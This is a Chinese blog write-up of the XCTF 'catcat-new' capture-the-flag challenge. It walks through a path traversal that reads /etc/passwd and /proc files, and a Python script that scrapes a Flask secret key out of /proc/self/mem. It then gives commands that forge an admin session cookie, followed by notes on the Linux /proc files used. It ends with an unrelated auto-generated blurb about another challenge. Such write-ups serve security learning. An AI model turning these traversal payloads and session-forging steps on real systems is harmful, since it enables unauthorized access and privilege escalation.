XCTF-Web-catcat-new

查看题目

访问网址:

 

点开其中一个cat

 

观察URL,可以发现URL上使用get请求传递了一个名为file的参数,所以猜测可能存在文件包含漏洞。

在URL上传递参数file=../../../etc/passwd发现存在漏洞

读取当前进程的命令行参数?file=../../../../proc/self/cmdline,发现有一个通过python启动app.py的命令。 所以可以得出该网站使用Python框架,并且因为有app.py可知使用的是flask框架。

尝试读取app.py文件。

复制文本内容,将字符串f-string格式化输出美化一下。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

 以上就是app.py的代码

flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。

info?file=../../../proc/self/maps

 执行破解脚本

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://61.147.171.105:65402/"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        
class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            #Encode a Flask session cookie
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    #匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        
        #设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

运行脚本得到Secret Key:dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh

 

session在访问/admin路径时的cookie中,访问http://61.147.171.105:65402/admin

通过抓包得到session

 利用工具flask_session_cookie_manager伪造session,先下载flask_session_cookie_manager工具,使用下列命令生成session

 python flask_session_cookie_manager3.py decode -s “secret_key” -c “session” 

python flask_session_cookie_manager3.py encode -s "dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh" -t "{'admin':1}"

 得到伪造的session,使用burpsuite更改session并执行,得到flag。

 

 本题知识点:

Linux系统敏感文件,flask_session_cookie_manager伪造session并执行,session存储在cookie中

/etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为      用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

/proc/self

proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。

/proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数。

/proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

/proc/self/maps

/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

flask-session结构

 flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。

参考资料:

(1条消息) 【愚公系列】2023年05月 攻防世界-Web(catcat-new)_愚公搬代码的博客-CSDN博客icon-default.png?t=N5K3https://blog.csdn.net/aa2528877987/article/details/130880367?ops_request_misc=&request_id=&biz_id=102&utm_term=catcat-new&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-130880367.142^v88^control,239^v2^insert_chatgpt&spm=1018.2226.3001.4187

攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园 (cnblogs.com)icon-default.png?t=N5K3https://www.cnblogs.com/niyani/p/17074125.html

 

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
对于题目"web-ics-05",根据提供的引用内容,我们可以得到以下信息: - 这道题可能是在入侵后利用管理平台来完成一些信息的收集,读取文件并利用是非常重要的。\[1\] - 在源代码中有一段注释,提到要给HTTP头部添加X-forwarded-For=127.0.0.1。\[2\] - preg_replace函数可以执行正则表达式的搜索和替换。\[3\] 根据这些信息,我们可以推测"web-ics-05"可能是一道关于入侵和利用管理平台的题目,要求读取文件并进行一些操作,同时还需要使用preg_replace函数进行正则表达式的搜索和替换。具体的题目要求和操作细节可能需要进一步的信息才能确定。 #### 引用[.reference_title] - *1* *3* [xctf-web-ics05](https://blog.csdn.net/zhejichensha_l7l/article/details/113530046)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [攻防世界-ics-05-(详细操作)做题笔记](https://blog.csdn.net/qq_43715020/article/details/125291336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值